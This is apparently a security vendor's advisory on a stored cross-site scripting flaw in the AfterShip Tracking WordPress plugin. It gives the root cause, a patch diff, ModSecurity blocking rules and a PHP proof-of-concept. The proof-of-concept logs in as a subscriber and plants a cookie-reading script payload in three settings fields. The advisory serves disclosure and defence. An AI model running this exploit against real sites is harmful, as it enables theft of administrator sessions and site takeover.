Atomic Edge analysis of CVE-2026-66460: The AfterShip Tracking plugin for WordPress (versions up to and including 1.18.1) contains a stored cross-site scripting vulnerability in the plugin’s settings page. The flaw resides in the `class-aftership-settings.php` file, where multiple dynamic values are echoed into HTML attributes without proper escaping. Authenticated attackers with Subscriber-level access or higher can inject arbitrary JavaScript into the plugin’s settings fields, which executes when an administrator accesses the settings page. The vulnerability carries a CVSS score of 6.4 (Medium).
The root cause is insufficient output escaping in the settings rendering methods of `class-aftership-settings.php`. Specifically, the `courier_callback` method (lines 231-239 in the vulnerable version) echoes the `$this->dom_id_courier_select` and `$this->dom_id_couriers` properties directly into `id` and `value` attributes without `esc_attr()`. Similarly, the `custom_domain_callback` method (line 248) outputs the result of `$this->normalize_custom_domain()` without escaping. The `show_order_actions_callback` method (lines 289-297) suffers from the same issue with `$this->dom_id_show_order_actions_select` and `$this->dom_id_show_order_actions`. These properties are derived from user-supplied input via the plugin’s settings, which Subscriber-level users can modify.
Exploitation requires an authenticated attacker with Subscriber-level access to submit a crafted request to the WordPress admin panel. The attacker would target the plugin’s settings page (likely `/wp-admin/admin.php?page=aftership-settings` or similar) and inject a payload into parameters that control the `couriers`, `custom_domain`, or `show_orders_actions` settings. For example, a payload such as `”>alert(document.cookie)` in the `couriers` parameter would be stored and later rendered unescaped in the hidden input’s `value` attribute, executing the script when an administrator views the settings page.
The patch (version 1.18.2) addresses the issue by adding `esc_attr()` to all dynamic output in the affected methods. In `courier_callback`, the `id` and `value` attributes are now escaped: `esc_attr( $this->dom_id_courier_select )`, `esc_attr( $this->dom_id_couriers )`, and `esc_attr( implode( ‘,’, $couriers ) )`. The `custom_domain_callback` now wraps the entire value expression in `esc_attr()`. The `show_order_actions_callback` is similarly fixed. Additionally, the patch removes the unused API key functionality (`add_api_key_field` and `generate_api_key` methods) and their associated hooks, which may have contributed to the attack surface but are not directly related to the XSS. The escaping ensures that any injected HTML characters are converted to entities, preventing script execution.
Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of an administrator’s browser session. This can lead to session hijacking, privilege escalation (by creating new admin users), data theft (including sensitive order and customer information), or full site compromise. The stored nature of the XSS means the payload persists until removed, affecting every administrator who visits the settings page.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/aftership-woocommerce-tracking/aftership-woocommerce-tracking.php
+++ b/aftership-woocommerce-tracking/aftership-woocommerce-tracking.php
@@ -3,7 +3,7 @@
* Plugin Name: AfterShip Tracking - All-In-One WooCommerce Order Tracking (Free plan available)
* Plugin URI: http://aftership.com/
* Description: Track orders in one place. shipment tracking, automated notifications, order lookup, branded tracking page, delivery day prediction
- * Version: 1.18.1
+ * Version: 1.18.2
* Author: AfterShip
* Author URI: http://aftership.com
*
@@ -20,7 +20,7 @@
require_once( 'woo-includes/woo-functions.php' );
-define( 'AFTERSHIP_VERSION', '1.18.1' );
+define( 'AFTERSHIP_VERSION', '1.18.2' );
define( 'AFTERSHIP_PATH', dirname( __FILE__ ) );
define( 'AFTERSHIP_ASSETS_URL', plugins_url() . '/' . basename( AFTERSHIP_PATH ) );
define( 'AFTERSHIP_SCRIPT_TAGS', 'aftership_script_tags' );
@@ -230,11 +230,6 @@
add_filter( 'woocommerce_subscriptions_renewal_order_meta_query', array( $this->actions, 'woocommerce_subscriptions_renewal_order_meta_query' ), 10, 4 );
}
- // Add api key config on user profile.
- add_action( 'show_user_profile', array( $this->actions, 'add_api_key_field' ) );
- add_action( 'edit_user_profile', array( $this->actions, 'add_api_key_field' ) );
- add_action( 'personal_options_update', array( $this->actions, 'generate_api_key' ) );
- add_action( 'edit_user_profile_update', array( $this->actions, 'generate_api_key' ) );
add_action( 'admin_notices', array( $this->actions, 'show_notices' ) );
// Add support for woocommerce-shipstation
--- a/aftership-woocommerce-tracking/includes/class-aftership-actions.php
+++ b/aftership-woocommerce-tracking/includes/class-aftership-actions.php
@@ -831,86 +831,6 @@
}
/**
- * Add manage_aftership cap for administrator
- * Add this to allow customers to more finely configure the permissions of the aftership plugin.
- */
- public function add_permission_cap() {
- global $wp_roles;
-
- if ( class_exists( 'WP_Roles' ) ) {
- if ( ! isset( $wp_roles ) ) {
- $wp_roles = new WP_Roles();
- }
- }
-
- if ( is_object( $wp_roles ) ) {
- $wp_roles->add_cap( 'administrator', 'manage_aftership' );
- }
- }
-
- /**
- * Display the API key info for a user
- *
- * @param WP_User $user
- */
- public function add_api_key_field( $user ) {
-
- $this->add_permission_cap();
-
- if ( ! current_user_can( 'manage_aftership' ) ) {
- return;
- }
- if ( current_user_can( 'edit_user', $user->ID ) ) {
- ?>
- <h3>AfterShip</h3>
- <table class="form-table">
- <tbody>
- <tr>
- <th><label
- for="aftership_wp_api_key"><?php _e( 'AfterShip's WordPress API Key', 'aftership' ); ?></label>
- </th>
- <td>
- <?php if ( empty( $user->aftership_wp_api_key ) ) : ?>
- <input name="aftership_wp_generate_api_key" type="checkbox"
- id="aftership_wp_generate_api_key" value="0"/>
- <span class="description"><?php _e( 'Generate API Key', 'aftership' ); ?></span>
- <?php else : ?>
- <code id="aftership_wp_api_key"><?php echo $user->aftership_wp_api_key; ?></code>
- <br/>
- <input name="aftership_wp_generate_api_key" type="checkbox"
- id="aftership_wp_generate_api_key" value="0"/>
- <span class="description"><?php _e( 'Revoke API Key', 'aftership' ); ?></span>
- <?php endif; ?>
- </td>
- </tr>
- </tbody>
- </table>
- <?php
- }
- }
-
- /**
- * Generate and save (or delete) the API keys for a user
- *
- * @param int $user_id
- */
- public function generate_api_key( $user_id ) {
- if ( current_user_can( 'edit_user', $user_id ) ) {
- $user = get_userdata( $user_id );
- // creating/deleting key
- if ( isset( $_POST['aftership_wp_generate_api_key'] ) ) {
- // consumer key
- if ( empty( $user->aftership_wp_api_key ) ) {
- $api_key = 'ck_' . hash( 'md5', $user->user_login . date( 'U' ) . mt_rand() );
- update_user_meta( $user_id, 'aftership_wp_api_key', $api_key );
- } else {
- delete_user_meta( $user_id, 'aftership_wp_api_key' );
- }
- }
- }
- }
-
- /**
* Add 'modified_after' and 'modified_before' for data query
*
* @param array $args
--- a/aftership-woocommerce-tracking/includes/class-aftership-settings.php
+++ b/aftership-woocommerce-tracking/includes/class-aftership-settings.php
@@ -231,11 +231,11 @@
$couriers = explode( ',', $this->options['couriers'] );
}
echo '<div class="auto-as-admin-select-title">Courier</div>';
- echo '<select data-placeholder="Please select couriers" id="' . $this->dom_id_courier_select . '" multiple style="width:100%">';
+ echo '<select data-placeholder="Please select couriers" id="' . esc_attr( $this->dom_id_courier_select ) . '" multiple style="width:100%">';
echo '</select>';
- echo '<input type="hidden" id="' . $this->dom_id_couriers . '" name="aftership_option_name[couriers]" value="' . implode( ',', $couriers ) . '"/>';
+ echo '<input type="hidden" id="' . esc_attr( $this->dom_id_couriers ) . '" name="aftership_option_name[couriers]" value="' . esc_attr( implode( ',', $couriers ) ) . '"/>';
if ( isset( $this->options['connected'] ) ) {
- echo '<input type="hidden" id="' . $this->dom_aftership_connected . '" name="aftership_option_name[connected]" value="' . $this->options['connected'] . '" />';
+ echo '<input type="hidden" id="' . esc_attr( $this->dom_aftership_connected ) . '" name="aftership_option_name[connected]" value="' . esc_attr( $this->options['connected'] ) . '" />';
}
}
@@ -245,7 +245,7 @@
public function custom_domain_callback() {
printf(
'<div class="auto-as-admin-input-title">Display Tracking Information at Custom Domain</div><input type="text" class="auto-as-admin-input-content" id="custom_domain" name="aftership_option_name[custom_domain]" value="%s" style="width:100%%">',
- isset( $this->options['custom_domain'] ) ? $this->normalize_custom_domain( $this->options['custom_domain'] ) : 'track.aftership.com'
+ esc_attr( isset( $this->options['custom_domain'] ) ? $this->normalize_custom_domain( $this->options['custom_domain'] ) : 'track.aftership.com' )
);
}
@@ -289,9 +289,9 @@
$show_orders_actions = explode( ',', $this->options['show_orders_actions'] );
}
echo '<div class="auto-as-admin-select-title">Add Tracking Order action</div>';
- echo '<select data-placeholder="Please select order status" id="' . $this->dom_id_show_order_actions_select . '" multiple style="width:100%">';
+ echo '<select data-placeholder="Please select order status" id="' . esc_attr( $this->dom_id_show_order_actions_select ) . '" multiple style="width:100%">';
echo '</select>';
- echo '<input type="hidden" id="' . $this->dom_id_show_order_actions . '" name="aftership_option_name[show_orders_actions]" value="' . implode( ',', $show_orders_actions ) . '"/>';
+ echo '<input type="hidden" id="' . esc_attr( $this->dom_id_show_order_actions ) . '" name="aftership_option_name[show_orders_actions]" value="' . esc_attr( implode( ',', $show_orders_actions ) ) . '"/>';
}
}
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-66460
# This rule blocks exploitation attempts targeting the AfterShip Tracking settings page
# by detecting XSS payloads in the plugin's vulnerable parameters.
SecRule REQUEST_URI "@rx ^/wp-admin/(admin.php|options.php)"
"id:20266646,phase:2,deny,status:403,chain,msg:'CVE-2026-66460 via AfterShip Tracking settings',severity:'CRITICAL',tag:'CVE-2026-66460'"
SecRule ARGS_POST:aftership_option_name[couriers] "@detectXSS" "t:urlDecodeUni,t:htmlEntityDecode"
# Additional rule for custom_domain parameter
SecRule REQUEST_URI "@rx ^/wp-admin/(admin.php|options.php)"
"id:20266647,phase:2,deny,status:403,chain,msg:'CVE-2026-66460 via AfterShip Tracking settings',severity:'CRITICAL',tag:'CVE-2026-66460'"
SecRule ARGS_POST:aftership_option_name[custom_domain] "@detectXSS" "t:urlDecodeUni,t:htmlEntityDecode"
# Additional rule for show_orders_actions parameter
SecRule REQUEST_URI "@rx ^/wp-admin/(admin.php|options.php)"
"id:20266648,phase:2,deny,status:403,chain,msg:'CVE-2026-66460 via AfterShip Tracking settings',severity:'CRITICAL',tag:'CVE-2026-66460'"
SecRule ARGS_POST:aftership_option_name[show_orders_actions] "@detectXSS" "t:urlDecodeUni,t:htmlEntityDecode"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-66460 - AfterShip Tracking <= 1.18.1 - Authenticated (Subscriber+) Stored XSS
$target_url = 'http://localhost/wordpress'; // Change to your WordPress site URL
$username = 'subscriber'; // Subscriber-level username
$password = 'password'; // Subscriber-level password
// Payload to inject: breaks out of the value attribute and executes script
$payload = '"><script>alert(document.cookie)</script>';
// Initialize cURL
$ch = curl_init();
// Step 1: Log in as subscriber to obtain cookies
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
// Step 2: Submit the malicious settings to the plugin's settings page
// The exact endpoint and parameter names may vary; adjust based on plugin implementation
$settings_url = $target_url . '/wp-admin/admin.php?page=aftership-settings';
curl_setopt($ch, CURLOPT_URL, $settings_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'aftership_option_name[couriers]' => $payload, // Inject via couriers parameter
'aftership_option_name[custom_domain]' => $payload, // Alternatively inject via custom_domain
'aftership_option_name[show_orders_actions]' => $payload, // Or via show_orders_actions
'submit' => 'Save Changes'
]));
$response = curl_exec($ch);
// Step 3: Verify stored payload by fetching the settings page (as admin, but here just check)
curl_setopt($ch, CURLOPT_URL, $settings_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);
if (strpos($response, $payload) !== false) {
echo "XSS payload successfully stored in settings page.n";
} else {
echo "Payload not found. Exploit may have failed (check permissions or endpoint).n";
}
curl_close($ch);
?>